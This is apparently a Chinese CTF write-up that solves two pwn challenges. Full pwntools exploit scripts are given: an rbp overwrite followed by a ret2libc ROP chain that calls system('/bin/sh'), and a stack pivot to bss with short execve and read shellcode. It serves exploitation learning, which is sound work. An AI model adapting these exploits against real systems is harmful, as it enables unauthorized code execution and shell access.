1.koi
虽然是栈题,但需要用到祖传libc6_2.23-0ubuntu11.3_amd64
其实核心就是wrshell()和xxx(),其他都可以不用看。
wrshell()中溢出了8个字节,gdb中调试发现只能覆盖到rbp。
满足v4 = 520且n = 520会走到xxx(),xxx()正是一个完整的栈溢出。那么思路就非常明确,将&v4(栈上地址)覆盖成&n(bss地址)。怎么覆盖呢?就是利用wrshell()的栈溢出即可。
#!/usr/bin/env pythonfrom pwn import *context.log_level = 'debug'sh = gdb.debug("./pwn1","b *0x400949n c")#sh = process("./pwn1")elf = ELF('./pwn1')libc = ELF('./libc.so.6')payload1 = "A" * 80 + "B" * 8sh.sendlineafter("exif","1")sh.sendlineafter("number:","8")sh.sendlineafter("size:","8")sh.sendlineafter("Enter sehll:",payload1)sh.interactive()
往下面n可以看到,scanf往&v4写值时,写的是我们覆盖的ebp-0x4。
那么进入xxx()的办法就出来了。
payload1 = "A" * 80 + p64(0x60108C+0x4)可以看到n=0x208,成功走到xxx()。
然后就是正常玩libc了,完整exp如下。
#!/usr/bin/env pythonfrom pwn import *context.log_level = 'debug'#sh = gdb.debug("./pwn1","b *0x4009f6n c")sh = process("./pwn1")#sh = remote('1.95.x.x',2112)elf = ELF('./pwn1')#libc = ELF('./libc6_2.23-0ubuntu11.3_amd64.so')libc = ELF('./libc.so.6')puts_plt = elf.plt['puts']puts_got = elf.got['puts']libc_puts = libc.sym['puts']libc_system = libc.sym['system']libc_binsh = libc.search('/bin/sh').next()pop_rdi = 0x400a63fun_xxx = 0x4009CEret = 0x4009CDpayload1 = "A" * 80 + p64(0x60108C+0x4)payload2 = "A" * 80 + "B" * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(fun_xxx)sh.sendlineafter("exif","1")sh.sendlineafter("number:","8")sh.sendlineafter("size:","8")sh.sendlineafter("Enter sehll:",payload1)sh.sendlineafter("a:","520")sh.sendlineafter("CTF!",payload2)puts_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")libc_base = puts_addr - libc_putsprint(hex(libc_base))system_addr = libc_base + libc_systembinsh_addr = libc_base + libc_binshpayload3 = "A" * 80 + "B" * 8 + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)sh.sendlineafter("CTF!",payload3)sh.interactive()
只有一处极短的栈溢出,一眼栈迁移,简单动调发现能控制"A*8+rbp+ret+"B"*8。
init时给了bss执行权限,那么一眼栈迁移到bss。
但题目并没有给read(bss),这也是这题最大的难点。我们先试试leave ret,就很容易理解为什么要read(bss)。
from pwn import *#context(log_level='debug')#p = process('./pwn1')p = gdb.debug('./pwn1','b yichu n c')bss_addr = 0x4040C0leave_ret = 0x000401338payload = "A" * 8 + p64(bss_addr) + p64(leave_ret)p.send(payload)p.interactive()
rbp和ret成功覆盖到我们想要的地址,继续执行。
栈迁移到bss上,但bss上没东西,因此第二次ret会直接报错,所以一定要先向bss上写东西。
但总长度0x20溢出rbp仅0x10的情况肯定没法用ROPgadget执行read,仔细思考,唯一可能的办法是复用read(0, buf, 0x20uLL)。
看一眼汇编,RSI的值怎么来的。
其实就是[rbp-8],rbp我们当然能控制,也就是说,第一次栈溢出,可以回到0x401321位置,向bss上写数据。
payload = "A" * 8 + p64(bss_addr + 0x8) + p64(0x401321)p.send(payload)p.send("A" * 32)
如下图,第一次read,正常写payload
第二次read,写bss
bss上写什么东西呢?因为0x401321自带leave_ret,所以会直接ret到bss上,所以我们就要布局一个shellcode+&bss_var就行了。
from pwn import *#context(log_level='debug')#p = process('./pwn1')p = gdb.debug('./pwn1','b *0x401332 n c')bss_addr = 0x4040C0payload = "A" * 8 + p64(bss_addr + 0x8) + p64(0x401321)p.send(payload)payload = "x90" * 24 + p64(bss_addr)p.send(payload)p.interactive()
如下图,成功在bss上执行NOP。
但由于栈迁移要消栈的原因,我们这里只有16字节的shellcode可供利用。
有两种思路,一种是利用自带的/bin/sh字符串【0x40201d】,然后syscall,这种最短可以压缩到13字节。
context.arch='amd64'shellcode ='''mov al,0x3bxor esi,esixor edx,edxmov edi,0x40201dsyscall'''print("shellcode size :"+ str(len(asm(shellcode))))
注意,必须使用x86的寄存器,而不是x64的寄存器,否则长度会超标。
另外一种思路就是用read+jmp esp二次加载shellcode,这种可以压缩到14字节,最终exp。
from pwn import *context.arch='amd64'context(log_level='debug')#p = process('./pwn1')#p = gdb.debug('./pwn1','b *0x401339 n c')p = remote('x',2064)bss_addr = 0x4040C0payload1 = "A" * 8 + p64(bss_addr + 0x8) + p64(0x401321)p.send(payload1)shellcode ='''xor eax, eaxmov edi, eaxlea rsi, [rsp]mov dl, 0x80syscalljmp rsp'''print("shellcode size :"+ str(len(asm(shellcode))))payload2 = asm(shellcode) + "x90x90" + p64(bss_addr)p.send(payload2)p.send(asm(shellcraft.amd64.sh()))p.interactive()
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……




还没有评论,来说两句吧...